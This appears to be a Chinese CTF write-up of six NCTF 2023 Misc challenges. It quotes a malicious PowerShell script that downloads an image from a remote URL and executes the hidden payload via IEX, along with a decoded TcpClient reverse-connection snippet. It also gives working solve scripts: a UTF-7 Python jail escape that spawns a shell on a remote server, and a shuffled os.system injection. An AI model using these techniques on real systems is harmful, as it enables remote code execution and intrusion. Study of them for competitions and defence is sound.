Misc

后面三个题是赛后做出来的。

1.Jump For Signin

方法1是跳一下。

方法2是用dnSpy打开_Data/Managed下的Assembly-CSharp.dll,在CubeGenerator类中能找到方块坐标。

复制出来写个脚本即可得到图片和答案。

NCTF{VVVVELCOME_TO_NCTF_2023!^!}

2.Jump For Flag

同上一题方法二

r = [(...)]
from PIL import Image
img = Image.new("RGB", (32, 32))
for s in r:
img.putpixel((s[0], s[2]), s[3] == 1 and (255, 255, 255) or (0, 0, 0))
img.save("6.png")

NCTF{25d8fdeb-0cb6-4ad4-8da1-788a72e701f0}

3.NCTF2077:jackpot

一个.net的exe(主办方挺喜欢用.NET啊

打开找到3.ps1

$flag = "-873e-12a9595bbce8}";
sal a New-Object;
Add-Type -A System.Drawing;
$g = a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://zysgmzb.club/hello/nctf.png"));
$o = a Byte[] 36600;
(0..14) | % { foreach ($x in(0..2439)) {
    $p = $g.GetPixel($x, $_);
    $o[$_ * 2440 + $x] = ([math]::Floor(($p.B-band15) * 16)-bor($p.G -band 15))
    }
};
IEX([System.Text.Encoding]::ASCII.GetString($o[0..35134]))

多次解密后是

$socket = new-object System.Net.Sockets.TcpClient('192.168.207.1', 2333);
if ($socket -eq $null) { exit 1 }
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
$ffllaagg = "NCTF{5945cf0b-fdd6-4b7b";
...

拼接即可。NCTF{5945cf0b-fdd6-4b7b-873e-12a9595bbce8}

4.ezjail

白名单里只有abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=#几个字符,果断退出

回头找了找发现是utf-7编码。且python可以识别这样的东西:#encoding=utf7...

但是问题是网上找到的utf-7样子是...+AAA-的形式,那不就无解了?

去找了找python源代码发现可以不用分隔符....直接流的模式也行

payload = """
import os
os.system("sh")
"""

import base64 as b64


def utf7_encode(s):
    return "+" + b64.b64encode(s.encode("utf-16-be")).decode()[:-2]


payload = f"#coding=utf7{utf7_encode(payload)}"
print(payload)
from pwn import remote

r = remote("124.220.8.243", 9999)
r.sendline("E")
print(r.recv(4096).decode())
r.sendline(payload)
r.interactive()
$ ls
flag_390FEB17FDECBF7C98424D58D226D0199B7FAF574FE740C140EEED87F4D18F1D
server.py
$ cat fla*
NCTF{82e7f7a2-154d-4d20-baa1-d8555fc1077a}

5.randommaker

看代码知道将输入随机排列后运行。

加上中间一个1e4次的判断。知道是侧信道攻击来爆破时间戳。

使用二分法加快速度。

代码如下

from pwn import *
from random import Random
import time

# context.log_level = "debug"

timestamp = int(time.time() * 1000)

r_map = {i: Random(i) for i in range(timestamp - 2000, timestamp + 2000)}
p = connect("124.220.8.243", 1337)

for i in range(100):
    p.sendlineafter(b">>> ", b"12")
    result = b"-" in p.recvuntil(b"of")
    blist = []
    for k, v in r_map.items():
        tmp = list("12")
        v.shuffle(tmp)
        if result and tmp == ["1", "2"]:
            continue
        elif not result and tmp == ["2", "1"]:
            continue
        else:
            blist.append(k)
    for k in blist:
        r_map.pop(k)
    if len(r_map) == 1:
        print(r_map)
        print(i)
        break

random, *_ = r_map.values()
payload = "__import__('os').system('cat fla*')"
l = [i for i in range(len(payload))]
random.shuffle(l)

payloadfi = ["?" for _ in range(len(payload))]
for i in range(len(payload)):
    payloadfi[l[i]] = payload[i]

true_payload = "".join(payloadfi)
p.sendline(true_payload.encode())
p.interactive()

6.NCTF2077:slivery

内存取证+浏览分析。

内存镜像里找可以找到桌面上的flag.zip,还有和题目相关的slivery.exe

查询可知sliverc2是一个加密流量的恶意程序。

用工具https://github.com/Immersive-Labs-Sec/SliverC2-Forensics分析流量包。

取出exe的dump可以获取session,然后全部解析。

命令中可以找到passwordP@33w000000rd_U_GOT解压得到flag。

NCTF{1d38c372-a636-430e-b47e-95f6136a9bb4}